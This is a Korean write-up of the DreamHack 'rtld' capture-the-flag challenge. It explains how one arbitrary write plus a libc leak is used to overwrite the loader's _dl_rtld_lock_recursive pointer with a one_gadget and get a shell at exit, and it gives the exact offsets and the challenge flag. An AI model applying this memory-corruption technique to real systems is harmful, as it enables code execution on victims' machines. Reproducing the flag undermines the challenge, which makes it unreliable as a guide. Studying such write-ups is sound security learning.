[๐Ÿฅ‰ Bronze 2] ๋”ฑ ํ•œ ๋ฒˆ์˜ ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ๋กœ ์…ธ ์—ด๊ธฐ โ€” DreamHack rtld ํ’€์ด

2026-07-22ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] ๋”ฑ ํ•œ ๋ฒˆ์˜ ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ๋กœ ์…ธ ์—ด๊ธฐ โ€” DreamHack rtld ํ’€์ด

์ฃผ์–ด์ง„ ๊ฑด `*(long*)addr = value` ๋”ฑ ํ•œ ๋ฒˆ, ๊ทธ๋ฆฌ๊ณ  stdout ๋ฆฌํฌ ํ•˜๋‚˜๋ฟ์ด๋‹ค. get_shell() ์€ ์žˆ์ง€๋งŒ PIE base ๋ฅผ ๋ชฐ๋ผ ๋ชป ์“ด๋‹ค. libc ํ›…๋„, FSOP ๋„, atexit ์ฒด์ธ๋„ ์ „๋ถ€ ๋ง‰ํžŒ ์ƒํƒœ์—์„œ ๋ฌธ์ œ ์ด๋ฆ„์ด ๊ฐ€๋ฆฌํ‚ค๋Š” ๊ณณ โ€” ๋กœ๋”(ld.so) ์˜ _rtld_global ์„ ๋…ธ๋ ธ๋‹ค. ์ข…๋ฃŒ ์‹œ _dl_fini ๊ฐ€ ํ˜ธ์ถœํ•˜๋Š” ๋ฝ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ one_gadget ์œผ๋กœ ๋ฎ์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ๋๋‚˜๋Š” ์ˆœ๊ฐ„ ์…ธ์ด ์—ด๋ฆฐ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” rtld ๋ถ„๋ฅ˜: pwnable ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}

๋ฏธํ•ด๊ฒฐ ๋ชฉ๋ก์— ๋ฉฐ์น ์งธ ๊ฑธ๋ ค ์žˆ๋˜ ๋ฌธ์ œ๋‹ค. ์†Œ์Šค๋Š” 40์ค„๋„ ์•ˆ ๋˜๋Š”๋ฐ, ํ‘œ์ค€ pwn ๊ธฐ๋ฒ•์„ ์ˆœ์„œ๋Œ€๋กœ ๋‹ค ๋„ฃ์–ด๋ด๋„ ํ•˜๋‚˜์”ฉ ๋‹ค ๋ง‰ํ˜”๋‹ค. ๊ฒฐ๊ตญ ์ด ๋ฌธ์ œ๋ฅผ ํ‘ธ๋Š” ์—ด์‡ ๋Š” ์ด๋ฆ„ ๊ทธ ์ž์ฒด โ€” rtld, ์ฆ‰ ๋Ÿฐํƒ€์ž„ ๋กœ๋”(ld.so) ์˜€๋‹ค.

์ฃผ์–ด์ง„ ๊ฒƒ: ์“ฐ๊ธฐ ํ•œ ๋ฒˆ, ๋ฆฌํฌ ํ•˜๋‚˜

์†Œ์Šค ์ „์ฒด๊ฐ€ ์ด๊ฒŒ ์ „๋ถ€๋‹ค.

// gcc -o rtld rtld.c -fPIC -pie
void get_shell() { system("/bin/sh"); }
 
int main() {
    long addr;
    long value;
    initialize();
 
    printf("stdout: %p\n", stdout);   // libc ์ฃผ์†Œ ๋ฆฌํฌ (๋”ฑ ํ•˜๋‚˜)
 
    printf("addr: ");
    scanf("%ld", &addr);
    printf("value: ");
    scanf("%ld", &value);
 
    *(long *)addr = value;            // ์ž„์˜ ์ฃผ์†Œ์— 8๋ฐ”์ดํŠธ ์“ฐ๊ธฐ (๋”ฑ ํ•œ ๋ฒˆ)
    return 0;
}

์ •๋ฆฌํ•˜๋ฉด ์†์— ์ฅ” ์นด๋“œ๋Š” ๋‘ ์žฅ์ด๋‹ค.

  • ๋ฆฌํฌ: printf("stdout: %p") โ€” stdout ์€ libc ์•ˆ _IO_2_1_stdout_ ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋ฏ€๋กœ libc base ๋ฅผ ์ •ํ™•ํžˆ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • ์“ฐ๊ธฐ: *(long*)addr = value โ€” ์›ํ•˜๋Š” ์ฃผ์†Œ์— ์›ํ•˜๋Š” 8๋ฐ”์ดํŠธ๋ฅผ ๋”ฑ ํ•œ ๋ฒˆ ์“ด๋‹ค. ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ์•„๋‹ˆ๋ผ ์ˆœ์ˆ˜ํ•œ write-what-where ๋‹ค.

get_shell() ์ด ์นœ์ ˆํ•˜๊ฒŒ ๋“ค์–ด์žˆ์ง€๋งŒ, ํ•จ์ •์ด๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” PIE ๋ผ ์‹คํ–‰ ํŒŒ์ผ์˜ ๋กœ๋“œ ์ฃผ์†Œ๊ฐ€ ๋งค ์‹คํ–‰๋งˆ๋‹ค ๋žœ๋ค์ด๊ณ , ์šฐ๋ฆฌ๊ฐ€ ๊ฐ€์ง„ ๋ฆฌํฌ๋Š” libc ๋ฟ์ด๋‹ค. get_shell ์˜ ์‹ค์ œ ์ฃผ์†Œ๋ฅผ ๋ชจ๋ฅด๋‹ˆ ์–ด๋””์— ์จ๋„ฃ์„ ์ˆ˜๋„, ์–ด๋””๋กœ ์ ํ”„์‹œํ‚ฌ ์ˆ˜๋„ ์—†๋‹ค.

rtld ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋ณดํ˜ธ๊ธฐ๋ฒ•๊ณผ main() ํ•ต์‹ฌ ๋กœ์ง โ€” Partial RELROยทCanaryยทNXยทPIE ๊ฐ€ ๋ชจ๋‘ ์ผœ์ ธ ์žˆ๊ณ , main ์€ stdout ์„ ๋ฆฌํฌํ•œ ๋’ค scanf ๋กœ ๋ฐ›์€ ์ฃผ์†Œ์— ๊ฐ’์„ ํ•œ ๋ฒˆ ์จ๋„ฃ๋Š”๋‹ค
rtld ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ๋ณดํ˜ธ๊ธฐ๋ฒ•๊ณผ main() ํ•ต์‹ฌ ๋กœ์ง โ€” Partial RELROยทCanaryยทNXยทPIE ๊ฐ€ ๋ชจ๋‘ ์ผœ์ ธ ์žˆ๊ณ , main ์€ stdout ์„ ๋ฆฌํฌํ•œ ๋’ค scanf ๋กœ ๋ฐ›์€ ์ฃผ์†Œ์— ๊ฐ’์„ ํ•œ ๋ฒˆ ์จ๋„ฃ๋Š”๋‹ค

๋ณดํ˜ธ๊ธฐ๋ฒ•์€ ํ‰๋ฒ”ํ•˜๋‹ค. Canary ๊ฐ€ ์žˆ์œผ๋‹ˆ ์Šคํƒ์„ ๋ฐ€์–ด ๋ฆฌํ„ด ์ฃผ์†Œ๋ฅผ ๋ฎ๋Š” ์ ‘๊ทผ์€ ๋ถˆ๊ฐ€๋Šฅํ•˜๊ณ , PIE ๋ผ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด๋ถ€ ์ฃผ์†Œ(GOT ํฌํ•จ)๋Š” ๋ฆฌํฌ ์—†์ด๋Š” ์†๋Œˆ ์ˆ˜ ์—†๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ "libc ์•ˆ์—์„œ, ํ”„๋กœ๊ทธ๋žจ์ด ์•Œ์•„์„œ ํ˜ธ์ถœํ•ด ์ฃผ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ" ๋ฅผ ๋”ฑ ํ•˜๋‚˜ ๊ณจ๋ผ ๋ฎ๋Š” ๊ทธ๋ฆผ๋ฐ–์— ์•ˆ ๋‚˜์˜จ๋‹ค.

์‚ฝ์งˆ: ํ‘œ์ค€ ํ›„๋ณด๋“ค์ด ํ•˜๋‚˜์”ฉ ๋ง‰ํžˆ๋‹ค

libc ๋ฆฌํฌ + ๋‹จ๋ฐœ ์“ฐ๊ธฐ ์กฐํ•ฉ์—์„œ ์ œ์ผ ๋จผ์ € ๋– ์˜ค๋ฅด๋Š” ํ‘œ์ ๋“ค์„ ์ˆœ์„œ๋Œ€๋กœ ์‹œ๋„ํ–ˆ๋‹ค. ๊ฒฐ๋ก ๋ถ€ํ„ฐ ๋งํ•˜๋ฉด ํ”ํ•œ 4๊ฐœ๊ฐ€ ์ „๋ถ€ ๋ง‰ํ˜”๊ณ , ๊ทธ ๊ณผ์ •์ด ์˜คํžˆ๋ ค ์ •๋‹ต์˜ ํžŒํŠธ๊ฐ€ ๋๋‹ค.

๋ง‰ํžŒ ํ‘œ์ค€ ๊ธฐ๋ฒ• 4๊ฐ€์ง€ โ€” ์™œ ์•ˆ ๋˜๋Š”์ง€ (ํด๋ฆญ)

โ‘  __malloc_hook / __free_hook ์ œ์ผ ๊ณ ์ „์ ์ธ ํ‘œ์ ์ด๋‹ค. ํ•˜์ง€๋งŒ ์ด ํ”„๋กœ๊ทธ๋žจ์€ malloc ๋„ free ๋„ ํ•œ ๋ฒˆ๋„ ํ˜ธ์ถœํ•˜์ง€ ์•Š๋Š”๋‹ค. ์‹ค์ œ๋กœ libc ์˜ malloc/free ์ง„์ž…์ ์— ๋ธŒ๋ ˆ์ดํฌํฌ์ธํŠธ๋ฅผ ๊ฑธ๊ณ  ํ”„๋กœ๊ทธ๋žจ์„ ๋๊นŒ์ง€ ๋Œ๋ ค๋„ ๋‹จ ํ•œ ๋ฒˆ๋„ ๊ฑธ๋ฆฌ์ง€ ์•Š์•˜๋‹ค. ํ›…์„ ๋ฎ์–ด๋ดค์ž ํŠธ๋ฆฌ๊ฑฐ๋  ์ผ์ด ์—†๋‹ค.

โ‘ก stdout FSOP (_IO_2_1_stdout_ vtable hijack) exit() ์€ ์ข…๋ฃŒ ์ง์ „ _IO_cleanup โ†’ _IO_flush_all_lockp ๋กœ ์—ด๋ฆฐ FILE ๋“ค์„ flush ํ•˜๋ฉด์„œ _IO_OVERFLOW(vtable) ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค. ์—ฌ๊ธฐ๋ฅผ ์œ„์กฐํ•˜๋Š” ๊ฒŒ FSOP ์ธ๋ฐ โ€” ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” initialize() ์—์„œ setvbuf(stdout, NULL, _IONBF, 0) ๋กœ ๋ฒ„ํผ๋ง์„ ๊บผ ๋‘”๋‹ค. ์ถœ๋ ฅ์ด ๋งค๋ฒˆ ์ฆ‰์‹œ flush ๋ผ์„œ ์ข…๋ฃŒ ์‹œ์ ์—” flush ํ•  ์ž”์—ฌ ๋ฐ์ดํ„ฐ๊ฐ€ ์—†๊ณ , ๊ทธ๋ž˜์„œ vtable ์ด dereference ๋˜์ง€ ์•Š๋Š”๋‹ค. _IO_2_1_stdout_ ์˜ vtable ํ•„๋“œ๋ฅผ ํ†ต์งธ๋กœ 0x41414141โ€ฆ ๋กœ ๋ฎ์–ด๋„ ์ข…๋ฃŒ ์‹œ ํฌ๋ž˜์‹œ์กฐ์ฐจ ์•ˆ ๋‚ฌ๋‹ค.

โ‘ข atexit / __cxa_finalize ํ•ธ๋“ค๋Ÿฌ ์ฒด์ธ exit() โ†’ __run_exit_handlers ๋Š” ๋“ฑ๋ก๋œ ์†Œ๋ฉธ์ž ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ํ•˜๋‚˜์”ฉ ํ˜ธ์ถœํ•œ๋‹ค. ์—ฌ๊ธฐ๋ฅผ ๋ฎ์œผ๋ฉด ๋  ๊ฒƒ ๊ฐ™์ง€๋งŒ, glibc ๋Š” ์ด ํฌ์ธํ„ฐ๋“ค์„ PTR_MANGLE ๋กœ ๋ณดํ˜ธํ•œ๋‹ค.

ror  rdx, 0x11
xor  rdx, fs:[0x30]   ; pointer_guard (ํ”„๋กœ์„ธ์Šค๋ณ„ ๋žœ๋ค ์‹œํฌ๋ฆฟ)
call rdx

fs:0x30 ์— ์žˆ๋Š” pointer_guard ๋Š” ํ”„๋กœ์„ธ์Šค๋งˆ๋‹ค ๋žœ๋ค์ด๋ผ, ๋ฆฌํฌ๊ฐ€ stdout ํ•˜๋‚˜๋ฟ์ธ ์ด ๋ฌธ์ œ์—์„  ์•Œ์•„๋‚ผ ๋ฐฉ๋ฒ•์ด ์—†๋‹ค. ์œ„์กฐ๋œ ํฌ์ธํ„ฐ๋ฅผ ์จ๋„ฃ์–ด๋„ ์–ธ๋งน๊ธ€ ๊ณผ์ •์—์„œ ์—‰๋šฑํ•œ ๊ฐ’์ด ๋˜์–ด ๋ฒ„๋ฆฐ๋‹ค.

โ‘ฃ ๋ฐ”์ด๋„ˆ๋ฆฌ PIE base ๋ฅผ libc ๋กœ๋ถ€ํ„ฐ ์œ ์ถ” get_shell() ์„ ์ง์ ‘ ์“ฐ๋ ค๋ฉด ๋ฐ”์ด๋„ˆ๋ฆฌ base ๊ฐ€ ํ•„์š”ํ•˜๋‹ค. libc base ์™€ ์‹คํ–‰ ํŒŒ์ผ base ์‚ฌ์ด์— ๊ณ ์ • ์˜คํ”„์…‹์ด ์žˆ๋Š”์ง€ 5ํšŒ ๋ฐ˜๋ณตํ•ด /proc/pid/maps ๋ฅผ ๋น„๊ตํ–ˆ์ง€๋งŒ โ€” ์™„์ „ํžˆ ๋žœ๋ค์ด์—ˆ๋‹ค. ์‹คํ–‰ ํŒŒ์ผ PIE ์™€ libc ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ๋žœ๋ค ํด๋Ÿฌ์Šคํ„ฐ์— ๋งคํ•‘๋œ๋‹ค.


์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ๊ด€์ฐฐ ํ•˜๋‚˜. โ‘ข๋ฒˆ์—์„œ atexit ์ฒด์ธ์€ ๋ง‰ํ˜”์ง€๋งŒ, ๊ทธ ๊ณผ์ •์—์„œ exit() ์ด ์ข…๋ฃŒ ์‹œ ํ™•์‹คํžˆ ์‹คํ–‰ํ•˜๋Š” ์ฝ”๋“œ ๊ฒฝ๋กœ ๋ฅผ ํ•˜๋‚˜ ์•Œ๊ฒŒ ๋๋‹ค. exit() ์€ ๋“ฑ๋ก๋œ ํ•ธ๋“ค๋Ÿฌ๋“ค์„ ๋ถ€๋ฅด๋Š”๋ฐ, ๊ทธ ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋กœ๋”๊ฐ€ ๋“ฑ๋กํ•ด ๋‘” _dl_fini ๋‹ค. _dl_fini ์ž์ฒด๋Š” ์ •์ƒ์ ์œผ๋กœ(์–ธ๋งน๊ธ€๋˜์–ด) ํ˜ธ์ถœ๋œ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด _dl_fini ์•ˆ์—์„œ ๋ถ€๋ฅด๋Š” ํฌ์ธํ„ฐ ์ค‘์— mangle ๋˜์ง€ ์•Š์€ ๊ฒŒ ์žˆ๋‹ค๋ฉด?

ํ•ต์‹ฌ: _dl_fini ๊ฐ€ ๋ถ€๋ฅด๋Š” ๋ฝ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ

๋ฌธ์ œ ์ด๋ฆ„ rtld ๋Š” run-time dynamic linker, ๊ณง ld.so ๋ฅผ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ๋กœ๋”๋Š” ์ „์—ญ ์ƒํƒœ๋ฅผ _rtld_global ์ด๋ผ๋Š” ๊ฑฐ๋Œ€ํ•œ ๊ตฌ์กฐ์ฒด์— ๋“ค๊ณ  ์žˆ๋Š”๋ฐ, ์ด ๊ตฌ์กฐ์ฒด ์•ˆ์—๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ๋“ค์ด ๊ทธ๋Œ€๋กœ(๋งน๊ธ€ ์—†์ด) ๋ฐ•ํ˜€ ์žˆ๋‹ค. ๊ทธ์ค‘ ํ•˜๋‚˜๊ฐ€ ์žฌ๊ท€ ๋ฝ ์ฝœ๋ฐฑ์ด๋‹ค.

_dl_fini ๋Š” ์ข…๋ฃŒ ์‹œ ๋งจ ๋จผ์ € ๋กœ๋“œ ๋ฝ์„ ์žก๋Š”๋‹ค.

// glibc 2.23, elf/dl-fini.c ไธญ
__rtld_lock_lock_recursive (GL(dl_load_lock));

์ด ๋งคํฌ๋กœ๋Š” ์ด๋ ‡๊ฒŒ ์ „๊ฐœ๋œ๋‹ค.

#define __rtld_lock_lock_recursive(NAME) \
    GL(dl_rtld_lock_recursive) (&(NAME).mutex)

์ฆ‰ _rtld_global._dl_rtld_lock_recursive ๋ผ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ํ˜ธ์ถœ ํ•œ๋‹ค. ์ธ์ž(rdi)๋Š” &_dl_load_lock.mutex ๋‹ค. ์ œ๊ณต๋œ ld-2.23.so ๋ฅผ ๋””์Šค์–ด์…ˆ๋ธ”ํ•˜๋ฉด ์ด ํ˜ธ์ถœ์ด ๊ทธ๋Œ€๋กœ ๋ณด์ธ๋‹ค.

ld-2.23.so ๋””์Šค์–ด์…ˆ๋ธ” โ€” _dl_fini ์˜ ์žฌ๊ท€ ๋ฝ ํš๋“๋ถ€. _rtld_global(0x226040) ์„ ๋กœ๋“œํ•ด rdi ๋ฅผ ์„ธํŒ…ํ•œ ๋’ค, call *(rip ์ƒ๋Œ€) ๋กœ _rtld_global+0xf08 ์œ„์น˜์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๊ฐ„์ ‘ ํ˜ธ์ถœํ•œ๋‹ค
ld-2.23.so ๋””์Šค์–ด์…ˆ๋ธ” โ€” _dl_fini ์˜ ์žฌ๊ท€ ๋ฝ ํš๋“๋ถ€. _rtld_global(0x226040) ์„ ๋กœ๋“œํ•ด rdi ๋ฅผ ์„ธํŒ…ํ•œ ๋’ค, call *(rip ์ƒ๋Œ€) ๋กœ _rtld_global+0xf08 ์œ„์น˜์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๊ฐ„์ ‘ ํ˜ธ์ถœํ•œ๋‹ค

lea rax, [rip+โ€ฆ] # 226040 <_rtld_global> ๋กœ ๊ตฌ์กฐ์ฒด ์ฃผ์†Œ๋ฅผ ์žก๊ณ , mov rax, rdi ๋กœ ์ธ์ž๋ฅผ ๋„˜๊ธด ๋’ค, call *0xโ€ฆ(%rip) # 226f48 <_rtld_global+0xf08> โ€” ์˜คํ”„์…‹ 0xf08 ์— ์žˆ๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ฅผ ๋ถ€๋ฅธ๋‹ค. ์ด ํฌ์ธํ„ฐ๋Š” atexit ์ฒด์ธ๊ณผ ๋‹ฌ๋ฆฌ PTR_MANGLE ๋กœ ๋ณดํ˜ธ๋˜์ง€ ์•Š๋Š”๋‹ค. ํ‰๋ฒ”ํ•œ raw ํฌ์ธํ„ฐ๋ผ ์ž„์˜ ์“ฐ๊ธฐ ํ•œ ๋ฒˆ์œผ๋กœ ๊ฐˆ์•„๋ผ์šธ ์ˆ˜ ์žˆ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด ๊ทธ๋ฆผ์ด ์ด๋ ‡๊ฒŒ ๋œ๋‹ค.

exit ๊ฒฝ๋กœ ๋‹ค์ด์–ด๊ทธ๋žจ โ€” main ์˜ return 0 ์ด exit() ์„ ํ˜ธ์ถœํ•˜๋ฉด, atexit ํ•ธ๋“ค๋Ÿฌ ์ฒด์ธ(โ‘ )์€ PTR_MANGLE ๋ณดํ˜ธ๋กœ ๋ง‰๋‹ค๋ฅธ ๊ธธ์ด์ง€๋งŒ, _dl_fini(โ‘ก)๊ฐ€ ๋ถ€๋ฅด๋Š” _rtld_global._dl_rtld_lock_recursive ๋Š” ๋งน๊ธ€ ์—†๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ผ one_gadget ์œผ๋กœ ๋ฎ์œผ๋ฉด ์ข…๋ฃŒ ์‹œ execve๋กœ ์ด์–ด์ง„๋‹ค
exit ๊ฒฝ๋กœ ๋‹ค์ด์–ด๊ทธ๋žจ โ€” main ์˜ return 0 ์ด exit() ์„ ํ˜ธ์ถœํ•˜๋ฉด, atexit ํ•ธ๋“ค๋Ÿฌ ์ฒด์ธ(โ‘ )์€ PTR_MANGLE ๋ณดํ˜ธ๋กœ ๋ง‰๋‹ค๋ฅธ ๊ธธ์ด์ง€๋งŒ, _dl_fini(โ‘ก)๊ฐ€ ๋ถ€๋ฅด๋Š” _rtld_global._dl_rtld_lock_recursive ๋Š” ๋งน๊ธ€ ์—†๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๋ผ one_gadget ์œผ๋กœ ๋ฎ์œผ๋ฉด ์ข…๋ฃŒ ์‹œ execve๋กœ ์ด์–ด์ง„๋‹ค

์—ฌ๊ธฐ์— ์ธ์ž ์ œ์•ฝ์ด ์—†๋Š” one_gadget(๋ ˆ์ง€์Šคํ„ฐ/์Šคํƒ ์กฐ๊ฑด๋งŒ ๋งž์œผ๋ฉด ์ธ์ž ์—†์ด execve("/bin/sh") ํ•˜๋Š” ์ฝ”๋“œ ์กฐ๊ฐ)์„ ์จ๋„ฃ์œผ๋ฉด, ํ”„๋กœ๊ทธ๋žจ์ด return 0 ์œผ๋กœ ๋๋‚˜๋Š” ์ˆœ๊ฐ„ ์…ธ์ด ์—ด๋ฆฐ๋‹ค. ์“ฐ๊ธฐ๋Š” ๋”ฑ ํ•œ ๋ฒˆ์ด๋ฉด ์ถฉ๋ถ„ํ•˜๋‹ค.

ํ‘œ์  ์ฃผ์†Œ ๊ณ„์‚ฐ: ๋กœ๋”๋Š” libc ๋ฐ”๋กœ ์œ„์— ์žˆ๋‹ค

๋‚จ์€ ๋ฌธ์ œ๋Š” "_rtld_global ์˜ ์ฃผ์†Œ๋ฅผ ์–ด๋–ป๊ฒŒ ์•„๋А๋ƒ" ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ๊ฐ€์ง„ ๊ฑด libc ๋ฆฌํฌ๋ฟ์ด๊ณ  _rtld_global ์€ ld.so ์•ˆ์— ์žˆ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๋กœ๋”๋Š” libc ๋ฅผ ์ž๊ธฐ ๋ฐ”๋กœ ์•„๋ž˜์— ๋งคํ•‘ํ•˜๊ธฐ ๋•Œ๋ฌธ์—, libc base ์™€ ld base ์‚ฌ์ด ๊ฐ„๊ฒฉ์ด ๊ณ ์ • ์ด๋‹ค. ์‹ค์ œ๋กœ 5๋ฒˆ ์‹คํ–‰ํ•ด ํ™•์ธํ–ˆ๋‹ค.

ํ”„๋กœ๊ทธ๋žจ์„ 5ํšŒ ์‹คํ–‰ํ•ด stdout ๋ฆฌํฌ๋กœ libc base ๋ฅผ, /proc/pid/maps ๋กœ ld base ๋ฅผ ๋ฝ‘์•„ ๋น„๊ตํ•œ ๊ฒฐ๊ณผ โ€” ld_base โˆ’ libc_base ๊ฐ€ ๋งค๋ฒˆ ๋™์ผํ•˜๊ฒŒ ๊ณ ์ •๋˜์–ด ์žˆ๊ณ , stdout โˆ’ libc ์˜คํ”„์…‹๋„ 0x3c5620 ๋กœ ์ผ์ •ํ•˜๋‹ค
ํ”„๋กœ๊ทธ๋žจ์„ 5ํšŒ ์‹คํ–‰ํ•ด stdout ๋ฆฌํฌ๋กœ libc base ๋ฅผ, /proc/pid/maps ๋กœ ld base ๋ฅผ ๋ฝ‘์•„ ๋น„๊ตํ•œ ๊ฒฐ๊ณผ โ€” ld_base โˆ’ libc_base ๊ฐ€ ๋งค๋ฒˆ ๋™์ผํ•˜๊ฒŒ ๊ณ ์ •๋˜์–ด ์žˆ๊ณ , stdout โˆ’ libc ์˜คํ”„์…‹๋„ 0x3c5620 ๋กœ ์ผ์ •ํ•˜๋‹ค

ld_base โˆ’ libc_base ๊ฐ€ ๋งค ์‹คํ–‰ ๋™์ผํ•˜๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ์ฃผ์†Œ ์‚ฌ์Šฌ์ด ์™„์„ฑ๋œ๋‹ค.

์ฃผ์†Œ ์‚ฌ์Šฌ ๋‹ค์ด์–ด๊ทธ๋žจ โ€” stdout ๋ฆฌํฌ์—์„œ 0x3c5620 ์„ ๋นผ libc_base ๋ฅผ ์–ป๊ณ , ๊ฑฐ๊ธฐ์— libc ๋งคํ•‘ ์˜ˆ์•ฝ ํฌ๊ธฐ๋งŒํผ ๋”ํ•ด ld_base ๋ฅผ ์–ป์€ ๋’ค, +0x226040 ์œผ๋กœ _rtld_global, ๋‹ค์‹œ +0xf08 ๋กœ _dl_rtld_lock_recursive ํ•จ์ˆ˜ ํฌ์ธํ„ฐ์— ๋„๋‹ฌํ•œ๋‹ค. ์‹คํ–‰ ํŒŒ์ผ ์ž์ฒด PIE base ๋Š” ์ด ์‚ฌ์Šฌ๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ ๋žœ๋ค์ด๋ผ get_shell ์„ ์ง์ ‘ ๋ชป ์“ด๋‹ค
์ฃผ์†Œ ์‚ฌ์Šฌ ๋‹ค์ด์–ด๊ทธ๋žจ โ€” stdout ๋ฆฌํฌ์—์„œ 0x3c5620 ์„ ๋นผ libc_base ๋ฅผ ์–ป๊ณ , ๊ฑฐ๊ธฐ์— libc ๋งคํ•‘ ์˜ˆ์•ฝ ํฌ๊ธฐ๋งŒํผ ๋”ํ•ด ld_base ๋ฅผ ์–ป์€ ๋’ค, +0x226040 ์œผ๋กœ _rtld_global, ๋‹ค์‹œ +0xf08 ๋กœ _dl_rtld_lock_recursive ํ•จ์ˆ˜ ํฌ์ธํ„ฐ์— ๋„๋‹ฌํ•œ๋‹ค. ์‹คํ–‰ ํŒŒ์ผ ์ž์ฒด PIE base ๋Š” ์ด ์‚ฌ์Šฌ๊ณผ ๋ฌด๊ด€ํ•˜๊ฒŒ ๋žœ๋ค์ด๋ผ get_shell ์„ ์ง์ ‘ ๋ชป ์“ด๋‹ค

libc_base    = stdout_leak - 0x3c5620          # _IO_2_1_stdout_ ์˜คํ”„์…‹
ld_base      = libc_base + <libc ๋งคํ•‘ ํฌ๊ธฐ>      # ๋กœ๋”๋Š” libc ๋ฐ”๋กœ ์œ„
_rtld_global = ld_base   + 0x226040            # ld.so ์‹ฌ๋ณผ
target       = _rtld_global + 0xf08            # _dl_rtld_lock_recursive

ํ•จ์ •: ๋กœ์ปฌ ์˜คํ”„์…‹์„ ๊ทธ๋Œ€๋กœ ์›๊ฒฉ์— ์“ฐ๋ฉด ์•ˆ ๋œ๋‹ค

์—ฌ๊ธฐ์„œ ํ•œ ๋ฒˆ ๊ฑธ๋ ค ๋„˜์–ด์กŒ๋‹ค. patchelf ๋กœ ์ œ๊ณต ld/libc ๋ฅผ ๋ฌผ๋ ค ๋กœ์ปฌ์—์„œ ์žฌํ˜„ํ•˜๋‹ˆ ld_base โˆ’ libc_base = 0x400000 ์ด ๋‚˜์™”๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ด ๊ฐ’์„ ์›๊ฒฉ์— ๊ทธ๋Œ€๋กœ ๋„ฃ์œผ๋ฉด ํ‘œ์ ์ด ์—‰๋šฑํ•œ ๊ณณ์„ ๊ฐ€๋ฆฌ์ผœ ์…ธ์ด ์•ˆ ์—ด๋ฆฐ๋‹ค.

์ด์œ ๋Š” ์ปค๋„์˜ mmap ์ •๋ ฌ ๋ฐฉ์‹ ์ฐจ์ด๋‹ค. ๋‚ด ๋กœ์ปฌ ์ปค๋„(6.17)์€ 2MB ์ด์ƒ์˜ ํฐ ๋งคํ•‘์„ THP(ํˆฌ๋ช… ๋Œ€์šฉ๋Ÿ‰ ํŽ˜์ด์ง€) ๊ฒฝ๊ณ„์ธ 2MB ๋‹จ์œ„๋กœ ์ •๋ ฌ ํ•œ๋‹ค. ๊ทธ๋ž˜์„œ libc/ld base ๊ฐ€ ํ•ญ์ƒ โ€ฆ000000 ๊ผด๋กœ ๋–จ์–ด์ง€๊ณ , ๋‘˜ ์‚ฌ์ด ๊ฐ„๊ฒฉ๋„ 2MB ๋ฐฐ์ˆ˜(0x400000)๋กœ ๋ฒŒ์–ด์ง„๋‹ค.

๋ฐ˜๋ฉด ์›๊ฒฉ ์„œ๋ฒ„๋Š” ๋ฆฌํฌ๋œ libc base ๊ฐ€ โ€ฆ8fa000 ์ฒ˜๋Ÿผ ํŽ˜์ด์ง€ ๋‹จ์œ„(0x1000)๋กœ๋งŒ ์ •๋ ฌ ๋ผ ์žˆ์—ˆ๋‹ค. ์‹ค์ œ๋กœ ์…ธ์„ ๋”ด ๋’ค uname ์„ ์ฐ์–ด๋ณด๋‹ˆ ์›๊ฒฉ์€ Linux 4.19.234 โ€” ์˜ค๋ž˜๋œ ์ปค๋„์ด๋ผ ํฐ ํŒŒ์ผ ๋งคํ•‘์„ 2MB ๋กœ ์ •๋ ฌํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ด ๊ฒฝ์šฐ ๋กœ๋”๋Š” libc ๋ฅผ ์ž๊ธฐ ๋ฐ”๋กœ ์•„๋ž˜์— ๋นˆํ‹ˆ์—†์ด ๋งคํ•‘ํ•˜๋ฏ€๋กœ, ๊ฐ„๊ฒฉ์€ ์ •ํ™•ํžˆ libc ์˜ PT_LOAD ์˜ˆ์•ฝ ํฌ๊ธฐ ๊ฐ€ ๋œ๋‹ค.

libc PT_LOAD:  (vaddr 0,        memsz 0x1bfbe8)   # R E
               (vaddr 0x3c07c0, memsz 0x91e0)     # RW
์˜ˆ์•ฝ ํฌ๊ธฐ = pageup(0x3c07c0 + 0x91e0) = 0x3ca000  โ†’  ์›๊ฒฉ์˜ ld_off
  • ๋กœ์ปฌ(THP 2MB ์ •๋ ฌ ์ปค๋„): ld_off = 0x400000
